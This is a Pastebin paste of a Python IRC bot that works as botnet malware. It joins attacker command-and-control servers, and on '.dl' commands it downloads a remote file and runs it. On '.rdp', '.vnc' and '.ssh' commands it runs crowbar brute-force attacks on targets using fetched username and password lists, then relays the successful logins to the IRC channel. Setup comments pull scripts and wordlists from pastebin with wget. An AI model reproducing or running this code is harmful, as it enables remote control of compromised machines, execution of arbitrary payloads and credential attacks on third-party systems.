Advertisement
independentt

Python IRC Bot

Oct 17th, 2017
24,335
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.10 KB | None | 0 0
  1. #  apt install git gcc gpp cpp make freerdp-x11 python-pip python-dev openssl libssl-dev xterm tightvncserver openbox -y
  2. #  git clone https://github.com/galkan/crowbar
  3. #  wget -O scan.py https://pastebin.com/raw/BCpgT20r
  4. #  chmod +x /root/crowbar/crowbar.py
  5. #  wget -O /user https://pastebin.com/raw/qxJPNiK8
  6. #  wget -O /pass https://pastebin.com/raw/Vhc0NBW5
  7. #  pip install rdpy
  8. #  pip install paramiko
  9. #  vncserver -kill :9
  10. #  vncserver :9
  11. #  export DISPLAY=:9
  12. #  ssh-keygen
  13.  
  14.  
  15.  
  16. #IMPORTS
  17. import os
  18. import random
  19. import shutil
  20. import socket
  21. import sys
  22. import threading
  23. import time
  24. import urllib
  25.  
  26.  
  27. #CONFIG
  28. ircs         = 'irc-1.iownyour.biz'
  29. ircp         = 6667                  
  30. ircs_backup  = 'irc-2.iownyour.biz'
  31. ircp_backup  = 6667                      
  32. ircc_backup  = '#power'              
  33. version      = '1.0.2'                  
  34.  
  35.  
  36.  
  37. #GLOBALS
  38. irc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  39.  
  40. #EXECUTE COMMAND
  41. def command(cmd): os.popen(cmd)
  42.            
  43. #DOWNLOAD / EXECUTE
  44. class download(threading.Thread):
  45.     def __init__(self, url):
  46.         self.url = url
  47.         threading.Thread.__init__(self)
  48.     def run(self):
  49.         try:
  50.             if getType(self.url) == 'application/octet-stream':
  51.                 name = os.path.basename(self.url)
  52.                 temp = os.environ['TEMP']
  53.                 path = temp + '\\' + name
  54.                 urllib.urlretrieve(self.url, path)
  55.                 command(path)
  56.                 irc_msg('[DL] - DONE!')
  57.             else:
  58.                 pass
  59.         except:
  60.             irc_msg('[DL] - FAIL!')
  61.  
  62. #COUNTRY
  63. def getCountry():
  64.     if getIP() == 'Unknown IP':
  65.         return 'Unknown Country'
  66.     else:
  67.         try:
  68.             return urllib.urlopen('http://api.wipmania.com/' + getIP()).read()
  69.         except:
  70.             return 'Unknown Country'
  71.  
  72. #IP ADDRESS
  73. def getIP():
  74.     try:
  75.         return urllib.urlopen('http://bot.whatismyipaddress.com/').read()
  76.     except:
  77.         return 'Unknown IP'
  78.  
  79. #RANDOM KEY
  80. def getKey(length): return str(random.randint(1000, 9999))
  81.  
  82.  
  83. #GET FILE TYPE
  84. def getType(url):
  85.     try:
  86.         return urllib.urlopen(url).info()['Content-Type']
  87.     except:
  88.         return 'Unknown Type'
  89.  
  90. #CONNECT
  91. def irc_connect(server, port, channel, nick):
  92.     irc.connect((server, port))
  93.     irc_raw('NICK ' + nick)
  94.     irc_raw('USER ' + nick + ' ' + getKey(4) +  ' ' + server + ' :' + getKey(4))
  95.     time.sleep(5)
  96.     irc_raw('JOIN :#power')
  97.  
  98.  
  99. #MESSAGE
  100. def irc_msg(msg): irc_raw('PRIVMSG ' + ircc + ' : ' + msg)
  101.  
  102. #RAW
  103. def irc_raw(msg): irc.send(msg + '\r\n')
  104.  
  105. #SETUP
  106. connected = False
  107. key       = getKey(4)
  108. nick      = '[b4wt]' + key
  109.  
  110. #IRC CONNECT
  111. while connected == False:
  112.     try:
  113.         try:
  114.             irc_connect(ircs, ircp, ircc, nick)
  115.             connected = True
  116.         except:
  117.             irc_connect(ircs_backup, ircp_backup, ircc_backup, nick)
  118.             ircc = ircc_backup
  119.             connected = True
  120.     except:
  121.         time.sleep(30) #5 MINUTE DELAY
  122.  
  123. #COMMANDS
  124. while connected == True:
  125.     try:
  126.         data = irc.recv(4096)
  127.         data = data.strip('\n\r')
  128.         split = data.split()
  129.  
  130.         if data.find('PING') != -1:
  131.             irc_raw('PONG ' + split[1])
  132.             irc_raw('JOIN #power')
  133.  
  134.         if data.find ('PRIVMSG') != -1:
  135.             nick = data.split('!')[0].replace(':', '', 1)
  136.             host = data.split('@')[1].split(' ')[0]
  137.             msg  = ''.join(data.split(':', 2)[2:]).replace('\r\n', '')
  138.                            
  139.             if msg.startswith('.dl '):
  140.                 if msg.startswith('.dl all '):
  141.                     url = msg.replace('.dl all ', '', 1)
  142.                     download(url).start()
  143.                 elif msg.startswith('.dl ' + key + ' '):
  144.                     url = msg.replace('.dl ' + key + ' ', '', 1)
  145.                     download(url).start()
  146.             elif msg == '.kill ' + key:
  147.                 uninstall()
  148.             elif msg.startswith('.list'):
  149.                  console_output = os.popen('grep SUCCESS success.log').read()
  150.                  console_output_lines = console_output.split('\n')
  151.                  for line in console_output_lines:
  152.                   irc_msg(line)
  153.             elif msg.startswith('.rdp'):
  154.                 testsplit = msg.split()
  155.                 irc_msg('9,1RDP Scanning: '  + testsplit[1])
  156.                 os.system('/root/crowbar/crowbar.py --quiet -o success.log -b rdp -t 2 -n 2 -p 3389 -U /user -C /pass -s ' + testsplit[1])
  157.             elif msg.startswith('.vnc'):
  158.                 testsplit = msg.split()
  159.                 irc_msg('9,1VNC Scanning: '  + testsplit[1])
  160.                 os.system('/root/crowbar/crowbar.py --quiet -o success.log -p 5900 -t 3 -n 1 -b vnckey  -k /root/.ssh/ -C /pass -s ' + testsplit[1])  
  161.             elif msg.startswith('.ssh'):
  162.                 testsplit = msg.split()
  163.                 irc_msg('9,1SSH Scanning: '  + testsplit[1])
  164.                 os.system('/root/crowbar/crowbar.py --quiet -o success.log -p 22 -b sshkey -k /root/.ssh/ -n 5 -t 3 -U /user -C /pass -s ' + testsplit[1])    
  165.     except:
  166.           os.system('python scan.py')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement